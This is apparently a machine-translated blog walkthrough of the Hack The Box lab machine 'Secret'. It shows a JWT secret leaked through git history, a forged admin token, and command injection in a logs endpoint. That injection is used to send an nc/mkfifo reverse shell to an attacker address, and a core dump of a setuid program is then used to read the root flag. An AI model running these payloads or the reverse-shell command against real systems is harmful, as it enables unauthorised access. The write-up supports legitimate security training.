🧟 No wind offering wine 🧟
Small doctors save people 😈 Great medicine helps the world
☣️ try fair means before resorting to force ☢️
👻 Police 👻
📰 Major papers is the content of the author's study. It is intended to use this knowledge output method to build a solid foundation. If there are deficiencies, I hope big brother Haihan. 🧱 Learn from those worthy of learning and pay tribute to the previous generations!
🌑🌕 Dark mode, unlock, double immersive reading pleasure 🥤
Follow wx gzh: acesec
Jianghu hunting order
🦾 Sacrifice Nmap
┌──(root💀kali)-[/home/kali]└─# nmap -sS -A -sC -sV -p- --min-rate 5000 10.10.11.120Starting Nmap 7.91 ( https://nmap.org ) at 2022-03-13 15:54 CSTNmap scan report for 10.10.11.120Host is up (0.30s latency).Not shown: 65532 closed portsPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)| ssh-hostkey: | 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)| 256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)|_ 256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)80/tcp open http nginx 1.18.0 (Ubuntu)|_http-server-header: nginx/1.18.0 (Ubuntu)|_http-title: DUMB Docs3000/tcp open http Node.js (Express middleware)|_http-title: DUMB DocsNo exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).TCP/IP fingerprint:OS:SCAN(V=7.91%E=4%D=3/13%OT=22%CT=1%CU=35012%PV=Y%DS=2%DC=T%G=Y%TM=622DA38OS:4%P=x86_64-pc-linux-gnu)SEQ(SP=108%GCD=1%ISR=104%TI=Z%CI=Z%II=I%TS=C)SEQOS:(SP=106%GCD=1%ISR=100%TI=Z%CI=Z%TS=C)OPS(O1=M505ST11NW7%O2=M505ST11NW7%OOS:3=M505NNT11NW7%O4=M505ST11NW7%O5=M505ST11NW7%O6=M505ST11)WIN(W1=FE88%W2=OS:FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M505NNSNOS:W7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DOS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%OOS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%WOS:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%ROS:IPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S) Network Distance: 2 hopsService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 587/tcp)HOP RTT ADDRESS1 310.78 ms 10.10.14.12 305.76 ms 10.10.11.120 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 76.71 seconds
🪵 Access port 80
🪵 Nothing is found on the page, but the source code file at the bottom of the page can be downloaded. Download it
#Unzip after downloading┌──(root💀kali)-[/home/kali/Desktop]└─# unzip files.zip
┌──(root💀kali)-[/home/kali/Desktop]└─# ls -la 1 ⚙-rw-r--r-- 1 kali kali 28849603 Mar 13 20:17 files.zipdrwxrwxr-x 8 root root 4096 Sep 3 2021 local-web
┌──(root💀kali)-[/home/kali/Desktop/local-web]└─# ls -la 1 ⚙total 116drwxrwxr-x 8 root root 4096 Sep 3 2021 .drwxr-xr-x 6 kali kali 4096 Mar 13 20:31 ..-rw-rw-r-- 1 root root 72 Sep 3 2021 .envdrwxrwxr-x 8 root root 4096 Sep 9 2021 .git-rw-rw-r-- 1 root root 885 Sep 3 2021 index.jsdrwxrwxr-x 2 root root 4096 Aug 13 2021 modeldrwxrwxr-x 201 root root 4096 Aug 13 2021 node_modules-rw-rw-r-- 1 root root 491 Aug 13 2021 package.json-rw-rw-r-- 1 root root 69452 Aug 13 2021 package-lock.jsondrwxrwxr-x 4 root root 4096 Sep 3 2021 publicdrwxrwxr-x 2 root root 4096 Sep 3 2021 routesdrwxrwxr-x 4 root root 4096 Aug 13 2021 src-rw-rw-r-- 1 root root 651 Aug 13 2021 validations.js
🪵 It should be an open source project, and then the git file was leaked.
🦾 Git file disclosure and utilization
🪵 Using tools: https://github.com/LucifielHack/GitTools
🪵 After downloading the tool, use the following:
┌──(root💀kali)-[/home/kali/Desktop]└─# /home/kali/Desktop/GitTools-master/Extractor/extractor.sh local-web/ dump 1 ⚙############ Extractor is part of https://github.com/internetwache/GitTools## Developed and maintained by @gehaxelt from @internetwache## Use at your own risk. Usage might be illegal in certain circumstances. # Only for educational purposes!###########[*] Destination folder does not exist[*] Creating...[+] Found commit: 4e5547295cfe456d8ca7005cb823e1101fd1f9cb[+] Found file: /home/kali/Desktop/dump/0-4e5547295cfe456d8ca7005cb823e1101fd1f9cb/.env..............
🪵 After that, you can see that the data has been extracted six times
┌──(root💀kali)-[/home/kali/Desktop/dump]└─# ls -la 1 ⚙total 32drwxr-xr-x 8 root root 4096 Mar 13 21:31 .drwxr-xr-x 8 kali kali 4096 Mar 13 21:28 ..drwxr-xr-x 7 root root 4096 Mar 13 21:29 0-4e5547295cfe456d8ca7005cb823e1101fd1f9cbdrwxr-xr-x 7 root root 4096 Mar 13 21:29 1-55fe756a29268f9b4e786ae468952ca4a8df1bd8drwxr-xr-x 7 root root 4096 Mar 13 21:30 2-67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78drwxr-xr-x 7 root root 4096 Mar 13 21:31 3-de0a46b5107a2f4d26e348303e76d85ae4870934drwxr-xr-x 7 root root 4096 Mar 13 21:31 4-e297a2797a5f62b6011654cf6fb6ccb6712d2d5bdrwxr-xr-x 7 root root 4096 Mar 13 21:32 5-3a367e735ee76569664bf7754eaaade7c735d702
🪵 View these data one by one:
┌──(root💀kali)-[/home/kali/Desktop/dump/0-4e5547295cfe456d8ca7005cb823e1101fd1f9cb]└─# ls -la 1 ⚙total 116drwxr-xr-x 7 root root 4096 Mar 13 21:29 .drwxr-xr-x 8 root root 4096 Mar 13 21:31 ..-rw-r--r-- 1 root root 219 Mar 13 21:28 commit-meta.txt-rw-r--r-- 1 root root 174 Mar 13 21:28 .env-rw-r--r-- 1 root root 885 Mar 13 21:28 index.jsdrwxr-xr-x 2 root root 4096 Mar 13 21:28 modeldrwxr-xr-x 201 root root 4096 Mar 13 21:29 node_modules-rw-r--r-- 1 root root 491 Mar 13 21:29 package.json-rw-r--r-- 1 root root 69452 Mar 13 21:29 package-lock.jsondrwxr-xr-x 3 root root 4096 Mar 13 21:29 publicdrwxr-xr-x 2 root root 4096 Mar 13 21:29 routesdrwxr-xr-x 4 root root 4096 Mar 13 21:29 src-rw-r--r-- 1 root root 651 Mar 13 21:29 validations.js
🪵 It can be determined that it is a source code library, and the breakthrough is / routes / auth JS
┌──(root💀kali)-[/home/.../Desktop/dump/0-4e5547295cfe456d8ca7005cb823e1101fd1f9cb/routes]└─# cat auth.js
const router = require('express').Router();const User = require('../model/user');const bcrypt = require('bcryptjs')const jwt = require('jsonwebtoken')const { registerValidation, loginValidation} = require('../validations') router.post('/register', async (req, res) => { // validation const { error } = registerValidation(req.body) if (error) return res.status(400).send(error.details[0].message); // check if user exists const emailExist = await User.findOne({email:req.body.email}) if (emailExist) return res.status(400).send('Email already Exist') // check if user name exist const unameexist = await User.findOne({ name: req.body.name }) if (unameexist) return res.status(400).send('Name already Exist') //hash the password const salt = await bcrypt.genSalt(10); const hashPaswrod = await bcrypt.hash(req.body.password, salt) //create a user const user = new User({ name: req.body.name, email: req.body.email, password:hashPaswrod }); try{ const saveduser = await user.save(); res.send({ user: user.name}) } catch(err){ console.log(err) } }); // login router.post('/login', async (req , res) => { const { error } = loginValidation(req.body) if (error) return res.status(400).send(error.details[0].message); // check if email is okay const user = await User.findOne({ email: req.body.email }) if (!user) return res.status(400).send('Email is wrong'); // check password const validPass = await bcrypt.compare(req.body.password, user.password) if (!validPass) return res.status(400).send('Password is wrong'); // create jwt const token = jwt.sign({ _id: user.id, name: user.name , email: user.email}, process.env.TOKEN_SECRET ) res.header('auth-token', token).send(token); }) router.use(function (req, res, next) { res.json({ message: { message: "404 page not found", desc: "page you are looking for is not found. " } })}); module.exports = router
🪵 From above, auth JS, you can see that there is / register to request it
🪵 After seeing the source code, it is not difficult to understand its logic. The logic of the program is to register the user first, check whether the email and user name exist, and encrypt the password. Then the program jumps to the login page, which checks whether the email name and password entered by the user are correct, and generates a jwt token value to send to the user.
🪵 First, add a DNS resolution
┌──(root💀kali)-[/home/kali/Desktop]└─# echo 10.10.11.120 secret.htb >> /etc/hosts
🪵 Follow the logic of the program. First register a user and use the curl command to register
┌──(root💀kali)-[/home/kali]└─# curl -X POST -H 'Content-Type: application/json' -v http://secret.htb/api/user/register --data '{"name": "acesec","email": "acesec@acesec.com","password": "123456"}'
🪵 Then log in with the registered user
🪵 Log in successfully and get the token
┌──(root💀kali)-[/home/kali]└─# curl -X POST -H 'Content-Type: application/json' -v http://secret.htb/api/user/login --data '{"email": "acesec@acesec.com","password": "123456"}'Note: Unnecessary use of -X or --request, POST is already inferred.* Trying 10.10.11.120:80...* Connected to secret.htb (10.10.11.120) port 80 (#0)> POST /api/user/login HTTP/1.1> Host: secret.htb> User-Agent: curl/7.74.0> Accept: */*> Content-Type: application/json> Content-Length: 51> * upload completely sent off: 51 out of 51 bytes* Mark bundle as not supporting multiuse< HTTP/1.1 200 OK< Server: nginx/1.18.0 (Ubuntu)< Date: Mon, 14 Mar 2022 07:05:10 GMT< Content-Type: text/html; charset=utf-8< Content-Length: 208< Connection: keep-alive< X-Powered-By: Express< auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjJlZTA2MmE3ZDY1NzA0NWUwZGZmODEiLCJuYW1lIjoiYWNlc2VjIiwiZW1haWwiOiJhY2VzZWNAYWNlc2VjLmNvbSIsImlhdCI6MTY0NzI0MTUxMH0.hpgz6dUqTjw8sy9a5oalmmqErV9oChs1gCqoz0WXTTY< ETag: W/"d0-w7+RJUD8gBD3cmM8U8/MvQxVQV4"< * Connection #0 to host secret.htb left intacteyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjJlZTA2MmE3ZDY1NzA0NWUwZGZmODEiLCJuYW1lIjoiYWNlc2VjIiwiZW1haWwiOiJhY2VzZWNAYWNlc2VjLmNvbSIsImlhdCI6MTY0NzI0MTUxMH0.hpgz6dUqTjw8sy9a5oalmmqErV9oChs1gCqoz0WXTTY
🪵 View and analyze / routes / verifytoken Contents of JS file
const jwt = require("jsonwebtoken"); module.exports = function (req, res, next) { const token = req.header("auth-token"); if (!token) return res.status(401).send("Access Denied"); try { const verified = jwt.verify(token, process.env.TOKEN_SECRET); req.user = verified; next(); } catch (err) { res.status(400).send("Invalid Token"); }};
🦾 Construct Payload
🪵 Knowing the verification process of JWT token, let's construct a payload to check our current permissions
┌──(root💀kali)-[/home/kali]└─# curl http://secret.htb/api/priv -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjJlZTA2MmE3ZDY1NzA0NWUwZGZmODEiLCJuYW1lIjoiYWNlc2VjIiwiZW1haWwiOiJhY2VzZWNAYWNlc2VjLmNvbSIsImlhdCI6MTY0NzI0MTUxMH0.hpgz6dUqTjw8sy9a5oalmmqErV9oChs1gCqoz0WXTTY'{"role":{"role":"you are normal user","desc":"acesec"}}
Get the packet back, and the display is an ordinary user permission
🪵 View the of the root directory env file, got a tokne
┌──(root💀kali)-[/home/kali/Desktop/dump/0-4e5547295cfe456d8ca7005cb823e1101fd1f9cb]└─# cat .env 2 ⚙DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
🪵 By viewing private JS learned that the verification logic is that as long as name = theadmin is the admin account
const router = require('express').Router();const verifytoken = require('./verifytoken')const User = require('../model/user'); router.get('/priv', verifytoken, (req, res) => { // res.send(req.user) const userinfo = { name: req.user } const name = userinfo.name.name; if (name == 'theadmin'){ res.json({ creds:{ role:"admin", username:"theadmin", desc : "welcome back admin," } }) } else{ res.json({ role: { role: "you are normal user", desc: userinfo.name.name } }) }}) router.get('/logs', verifytoken, (req, res) => { const file = req.query.file; const userinfo = { name: req.user } const name = userinfo.name.name; if (name == 'theadmin'){ const getLogs = `git log --oneline ${file}`; exec(getLogs, (err , output) =>{ if(err){ res.status(500).send(err); return } res.json(output); }) } else{ res.json({ role: { role: "you are normal user", desc: userinfo.name.name } }) }}) router.use(function (req, res, next) { res.json({ message: { message: "404 page not found", desc: "page you are looking for is not found. " } })}); module.exports = router
🦾 Forged JWT token
🪵 Forge a JWT token
🪵 Use the online JWT modification tool or JWT_ JWT token can be modified by tools
https://jwt.io/
https://link.zhihu.com/?target=https%3A//github.com/ticarpi/jwt_tool
🪵 Online tools
Forge an admin token
Here we need to modify two places, change the name to theadmin, and then fill in the box below The token value obtained by env can generate a new JWT token
🪵 Verify the new JWT token and find that it is already admin permission
┌──(root💀kali)-[/home/kali] └─# curl http://secret.htb/api/priv -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6InRoZWFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.5rUGTZpF99iTLdFPWnB_8XtiZvUlVKnfVGc_tdwHqkE' {"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}}
🪵 By analyzing private JS file, we found that the file name must be specified as the get parameter of the file with the name
┌──(root💀kali)-[/home/kali]└─# curl 'http://secret.htb/api/logs?file=/etc/passwd' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6InRoZWFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.5rUGTZpF99iTLdFPWnB_8XtiZvUlVKnfVGc_tdwHqkE' {"killed":false,"code":128,"signal":null,"cmd":"git log --oneline /etc/passwd"}
Looks like a command injection?
🦾 Vulnerability exploitation
┌──(root💀kali)-[/home/kali]└─# curl 'http://secret.htb/api/logs?file=;id' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6InRoZWFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.5rUGTZpF99iTLdFPWnB_8XtiZvUlVKnfVGc_tdwHqkE'"80bf34c fixed typos 🎉\n0c75212 now we can view logs from server 😃\nab3e953 Added the codes\nuid=1000(dasith) gid=1000(dasith) groups=1000(dasith)\n"
🪵 Confirm that the vulnerability exists. Now let's use nc to listen to a port
nc -nvlp 4444
🦾 Construct Payload
🪵 Then construct a payload to use
┌──(root💀kali)-[/home/kali]└─# curl 'http://secret.htb/api/logs?file=;rm+%2Ftmp%2Ff%3Bmkfifo+%2Ftmp%2Ff%3Bcat+%2Ftmp%2Ff%7C%2Fbin%2Fsh+-i+2%3E%261%7Cnc+10.10.14.3+4444+%3E%2Ftmp%2Ff%0A%0A' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6InRoZWFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.5rUGTZpF99iTLdFPWnB_8XtiZvUlVKnfVGc_tdwHqkE'
🦾GET Shell
🪵 Successfully obtained a shell
┌──(root💀kali)-[~]└─# nc -lnvp 4444 listening on [any] 4444 ...connect to [10.10.14.3] from (UNKNOWN) [10.10.11.120] 36752/bin/sh: 0: can't access tty; job control turned off$ python3 -c "import pty.spawn('/bin/bash')";dasith@secret:~/local-web$ whoamiwhoamidasithdasith@secret:~/local-web$ ididuid=1000(dasith) gid=1000(dasith) groups=1000(dasith)dasith@secret:~/local-web$
🪵 Get a more complete interactive shell:
python3 -c "import pty;pty.spawn('/bin/bash')";
🦾 Normandy landing: user permission flag
🪵 Successfully obtained the flag file with user permission:
dasith@secret:~/local-web$ cd ..cd ..dasith@secret:~$ ls -lals -latotal 68drwxr-xr-x 8 dasith dasith 4096 Oct 7 13:12 .drwxr-xr-x 3 root root 4096 Sep 3 2021 ..lrwxrwxrwx 1 dasith dasith 9 Sep 3 2021 .bash_history -> /dev/null-rw-r--r-- 1 dasith dasith 220 Feb 25 2020 .bash_logout-rw-r--r-- 1 dasith dasith 3771 Feb 25 2020 .bashrcdrwx------ 2 dasith dasith 4096 Aug 13 2021 .cachedrwx------ 3 dasith dasith 4096 Aug 13 2021 .configlrwxrwxrwx 1 dasith dasith 9 Sep 3 2021 .dbshell -> /dev/null-rw-rw-r-- 1 dasith dasith 48 Sep 3 2021 .gitconfigdrwxrwxr-x 3 dasith dasith 4096 Sep 3 2021 .localdrwxrwxr-x 8 dasith dasith 4096 Sep 8 2021 local-web-rw------- 1 dasith dasith 0 Aug 13 2021 .mongorc.jsdrwxrwxr-x 5 dasith dasith 4096 Sep 3 2021 .npmdrwxrwxr-x 5 dasith dasith 4096 Mar 14 06:27 .pm2-rw-r--r-- 1 dasith dasith 807 Feb 25 2020 .profile-rw-rw-r-- 1 dasith dasith 66 Sep 8 2021 .selected_editor-r-------- 1 dasith dasith 33 Mar 14 06:27 user.txt-rw------- 1 dasith dasith 10942 Sep 8 2021 .viminfodasith@secret:~$ cat user.txtcat user.txtf5f687a20e74c35bb8cefa2edfc4a87a
🦾 root privilege promotion
🪵 Take a look at the current executable
dasith@secret:~$ find / -type f -perm -u=s 2>/dev/null/usr/bin/pkexec/usr/bin/sudo/usr/bin/fusermount/usr/bin/umount/usr/bin/mount/usr/bin/gpasswd/usr/bin/su/usr/bin/passwd/usr/bin/chfn/usr/bin/newgrp/usr/bin/chsh/usr/lib/snapd/snap-confine/usr/lib/dbus-1.0/dbus-daemon-launch-helper/usr/lib/openssh/ssh-keysign/usr/lib/eject/dmcrypt-get-device/usr/lib/policykit-1/polkit-agent-helper-1/opt/count/snap/snapd/13640/usr/lib/snapd/snap-confine/snap/snapd/13170/usr/lib/snapd/snap-confine/snap/core20/1169/usr/bin/chfn/snap/core20/1169/usr/bin/chsh/snap/core20/1169/usr/bin/gpasswd/snap/core20/1169/usr/bin/mount/snap/core20/1169/usr/bin/newgrp/snap/core20/1169/usr/bin/passwd/snap/core20/1169/usr/bin/su/snap/core20/1169/usr/bin/sudo/snap/core20/1169/usr/bin/umount/snap/core20/1169/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core20/1169/usr/lib/openssh/ssh-keysign/snap/core18/2128/bin/mount/snap/core18/2128/bin/ping/snap/core18/2128/bin/su/snap/core18/2128/bin/umount/snap/core18/2128/usr/bin/chfn/snap/core18/2128/usr/bin/chsh/snap/core18/2128/usr/bin/gpasswd/snap/core18/2128/usr/bin/newgrp/snap/core18/2128/usr/bin/passwd/snap/core18/2128/usr/bin/sudo/snap/core18/2128/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core18/2128/usr/lib/openssh/ssh-keysign/snap/core18/1944/bin/mount/snap/core18/1944/bin/ping/snap/core18/1944/bin/su/snap/core18/1944/bin/umount/snap/core18/1944/usr/bin/chfn/snap/core18/1944/usr/bin/chsh/snap/core18/1944/usr/bin/gpasswd/snap/core18/1944/usr/bin/newgrp/snap/core18/1944/usr/bin/passwd/snap/core18/1944/usr/bin/sudo/snap/core18/1944/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core18/1944/usr/lib/openssh/ssh-keysign
🪵 Some executable binaries were obtained
🪵 Keep your eyes on / opt/count
dasith@secret:/opt$ cat code.c
#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <string.h>#include <dirent.h>#include <sys/prctl.h>#include <sys/types.h>#include <sys/stat.h>#include <linux/limits.h> void dircount(const char *path, char *summary){ DIR *dir; char fullpath[PATH_MAX]; struct dirent *ent; struct stat fstat; int tot = 0, regular_files = 0, directories = 0, symlinks = 0; if((dir = opendir(path)) == NULL) { printf("\nUnable to open directory.\n"); exit(EXIT_FAILURE); } while ((ent = readdir(dir)) != NULL) { ++tot; strncpy(fullpath, path, PATH_MAX-NAME_MAX-1); strcat(fullpath, "/"); strncat(fullpath, ent->d_name, strlen(ent->d_name)); if (!lstat(fullpath, &fstat)) { if(S_ISDIR(fstat.st_mode)) { printf("d"); ++directories; } else if(S_ISLNK(fstat.st_mode)) { printf("l"); ++symlinks; } else if(S_ISREG(fstat.st_mode)) { printf("-"); ++regular_files; } else printf("?"); printf((fstat.st_mode & S_IRUSR) ? "r" : "-"); printf((fstat.st_mode & S_IWUSR) ? "w" : "-"); printf((fstat.st_mode & S_IXUSR) ? "x" : "-"); printf((fstat.st_mode & S_IRGRP) ? "r" : "-"); printf((fstat.st_mode & S_IWGRP) ? "w" : "-"); printf((fstat.st_mode & S_IXGRP) ? "x" : "-"); printf((fstat.st_mode & S_IROTH) ? "r" : "-"); printf((fstat.st_mode & S_IWOTH) ? "w" : "-"); printf((fstat.st_mode & S_IXOTH) ? "x" : "-"); } else { printf("??????????"); } printf ("\t%s\n", ent->d_name); } closedir(dir); snprintf(summary, 4096, "Total entries = %d\nRegular files = %d\nDirectories = %d\nSymbolic links = %d\n", tot, regular_files, directories, symlinks); printf("\n%s", summary);} void filecount(const char *path, char *summary){ FILE *file; char ch; int characters, words, lines; file = fopen(path, "r"); if (file == NULL) { printf("\nUnable to open file.\n"); printf("Please check if file exists and you have read privilege.\n"); exit(EXIT_FAILURE); } characters = words = lines = 0; while ((ch = fgetc(file)) != EOF) { characters++; if (ch == '\n' || ch == '\0') lines++; if (ch == ' ' || ch == '\t' || ch == '\n' || ch == '\0') words++; } if (characters > 0) { words++; lines++; } snprintf(summary, 256, "Total characters = %d\nTotal words = %d\nTotal lines = %d\n", characters, words, lines); printf("\n%s", summary);} int main(){ char path[100]; int res; struct stat path_s; char summary[4096]; printf("Enter source file/directory name: "); scanf("%99s", path); getchar(); stat(path, &path_s); if(S_ISDIR(path_s.st_mode)) dircount(path, summary); else filecount(path, summary); // drop privs to limit file write setuid(getuid()); // Enable coredump generation prctl(PR_SET_DUMPABLE, 1); printf("Save results a file? [y/N]: "); res = getchar(); if (res == 121 || res == 89) { printf("Path: "); scanf("%99s", path); FILE *fp = fopen(path, "a"); if (fp != NULL) { fputs(summary, fp); fclose(fp); } else { printf("Could not open %s for writing\n", path); } } return 0;}
🪵 This is the source code of count. Through analysis, we know that in most cases, if we crash in the execution code, the report will usually be saved in / var/crash
Under normal circumstances, this is impossible, but set prctl(PR_SET_DUMPABLE, 1) through this pem;, It can be implemented
Since it is set to 1, we can generate the core dump, which requires two conditions
-
First, make sure you have two shell s
-
Can cause a crash
Specific references https://man7.org/linux/man-pages/man2/prctl.2.html
🪵 Shell 1
dasith@secret:/opt$ ./count./countEnter source file/directory name: /root/root.txt/root/root.txt Total characters = 33Total words = 2Total lines = 2Save results a file? [y/N]: yyPath:
🪵 After execution, go to shell 2 to crash the process
🪵 shell 2
dasith@secret:/opt$ ps -aux | grep countps -aux | grep countroot 830 0.0 0.1 235672 7488 ? Ssl 06:26 0:00 /usr/lib/accountsservice/accounts-daemondasith 1489 0.0 0.0 2488 592 pts/0 S+ 08:23 0:00 ./countdasith 1517 0.0 0.0 6432 740 pts/1 S+ 08:33 0:00 grep --color=auto countdasith@secret:/opt$ kill -BUS 1489kill -BUS 1489
🪵 After execution, go back to shell 1 and find an additional sentence Path: Bus error (core dumped) in Path. It can be seen that the process has crashed
🪵 shell 1
dasith@secret:/opt$ ./count./countEnter source file/directory name: /root/root.txt/root/root.txt Total characters = 33Total words = 2Total lines = 2Save results a file? [y/N]: yyPath: Bus error (core dumped)
🪵 You can see that the error log has been generated
dasith@secret:/opt$ cd /var/crashcd /var/crashdasith@secret:/var/crash$ ls -lals -latotal 88drwxrwxrwt 2 root root 4096 Mar 14 08:34 .drwxr-xr-x 14 root root 4096 Aug 13 2021 ..-rw-r----- 1 dasith dasith 28040 Mar 14 08:34 _opt_count.1000.crash
🪵 Create your own directory and copy the files
🪵 By using app unpack, we can easily debug the crash of the program.
dasith@secret:/var/crash$ mkdir /tmp/acesecdasith@secret:/var/crash$ apport-unpack _opt_count.1000.crash /tmp/acesecdasith@secret:/var/crash$ cd /tmp/acesecdasith@secret:/tmp/acesec$ ls -latotal 436drwxr-xr-x 2 dasith dasith 4096 Mar 14 08:46 .drwxrwxrwt 13 root root 4096 Mar 14 08:45 ..-rw-r--r-- 1 dasith dasith 5 Mar 14 08:46 Architecture-rw-r--r-- 1 dasith dasith 380928 Mar 14 08:46 CoreDump-rw-r--r-- 1 dasith dasith 24 Mar 14 08:46 Date-rw-r--r-- 1 dasith dasith 12 Mar 14 08:46 DistroRelease-rw-r--r-- 1 dasith dasith 10 Mar 14 08:46 ExecutablePath-rw-r--r-- 1 dasith dasith 10 Mar 14 08:46 ExecutableTimestamp-rw-r--r-- 1 dasith dasith 5 Mar 14 08:46 ProblemType-rw-r--r-- 1 dasith dasith 7 Mar 14 08:46 ProcCmdline-rw-r--r-- 1 dasith dasith 4 Mar 14 08:46 ProcCwd-rw-r--r-- 1 dasith dasith 53 Mar 14 08:46 ProcEnviron-rw-r--r-- 1 dasith dasith 2144 Mar 14 08:46 ProcMaps-rw-r--r-- 1 dasith dasith 1336 Mar 14 08:46 ProcStatus-rw-r--r-- 1 dasith dasith 1 Mar 14 08:46 Signal-rw-r--r-- 1 dasith dasith 29 Mar 14 08:46 Uname-rw-r--r-- 1 dasith dasith 3 Mar 14 08:46 UserGroups
🪵 You can see that there is a CoreDump file, which we output as a string
dasith@secret:/tmp/acesec$ strings CoreDumpstrings CoreDumpCORECOREcount./count IGISCORECOREELIFCORE/opt/count/opt/count/opt/count/opt/count/opt/count/usr/lib/x86_64-linux-gnu/libc-2.31.so/usr/lib/x86_64-linux-gnu/libc-2.31.so/usr/lib/x86_64-linux-gnu/libc-2.31.so/usr/lib/x86_64-linux-gnu/libc-2.31.so/usr/lib/x86_64-linux-gnu/libc-2.31.so/usr/lib/x86_64-linux-gnu/libc-2.31.so/usr/lib/x86_64-linux-gnu/ld-2.31.so/usr/lib/x86_64-linux-gnu/ld-2.31.so/usr/lib/x86_64-linux-gnu/ld-2.31.so/usr/lib/x86_64-linux-gnu/ld-2.31.so/usr/lib/x86_64-linux-gnu/ld-2.31.soCOREPath: CouldLINUXPath: Could/lib64/ld-linux-x86-64.so.2libc.so.6setuidexitreaddirfopenclosedir__isoc99_scanfstrncpy__stack_chk_failputcharfgetcstrlenprctlgetcharfputsfcloseopendirgetuidstrncat__cxa_finalize__libc_start_mainsnprintf__xstat__lxstatGLIBC_2.7GLIBC_2.4GLIBC_2.2.5_ITM_deregisterTMCloneTable__gmon_start___ITM_registerTMCloneTableUnable to open directory.??????????Total entries = %dRegular files = %dDirectories = %dSymbolic links = %dUnable to open file.Please check if file exists and you have read privilege.Total characters = %dTotal words = %dTotal lines = %dEnter source file/directory name: %99sSave results a file? [y/N]: Path: Could not open %s for writing:*3$"Path: esults a file? [y/N]: words = 2Total lines = 2oot/root.txt5fa8441d1d205afd5bcc44d56c96c8b4aliasesethersXgroupgshadowhostsinitgroupsnetgroupnetworkspasswdprotocolspublickeyservicesshadowCAk[Slibc.so.6/lib/x86_64-linux-gnulibc.so.6uTi7J|F:m_rtld_global__get_cpu_features_dl_find_dso_for_object_dl_make_stack_executable_dl_exception_create__libc_stack_end_dl_catch_exceptionmalloc_dl_deallocate_tls_dl_signal_exception__tunable_get_val__libc_enable_secure__tls_get_addr_dl_get_tls_static_infocalloc_dl_exception_free_dl_debug_state_dl_argv_dl_allocate_tls_init_rtld_global_rorealloc_dl_rtld_di_serinfo_dl_mcount_dl_allocate_tls_dl_signal_error_dl_exception_create_format_r_debug_dl_catch_errorld-linux-x86-64.so.2GLIBC_2.2.5GLIBC_2.3GLIBC_2.4GLIBC_PRIVATEsse2x86_64avx512_1i586i686haswellxeon_philinux-vdso.so.1tls/x86_64/x86_64/tls/x86_64//lib/x86_64-linux-gnu/libc.so.6%%%%%%%%%%%%%%%%ory name: %99s6km!6kmh/root/root.txtTotal characters = 33Total words = 2Total lines = 2x86_64./countSHELL=/bin/shversioning=[object Object]unstable_restarts=0treekill=trueenv=[object Object]filter_env=namespace=defaultrestart_time=0DB_CONNECT=mongodb://127.0.0.1:27017/auth-webaxm_options=[object Object]vizion_running=falsePWD=/optLOGNAME=dasithPM2_USAGE=CLIexec_interpreter=nodePM2_HOME=/home/dasith/.pm2HOME=/home/dasithNODE_APP_INSTANCE=0LANG=en_US.UTF-8LS_COLORS=pm_id=0version=1.0.0pm_uptime=1647239220655km_link=falsepm_cwd=/home/dasith/local-webaxm_monitor=[object Object]instance_var=NODE_APP_INSTANCEpmx=trueunique_id=d785e813-82ea-40d6-8c5b-fbb480388fdeLESSCLOSE=/usr/bin/lesspipe %s %svizion=trueusername=dasithLESSOPEN=| /usr/bin/lesspipe 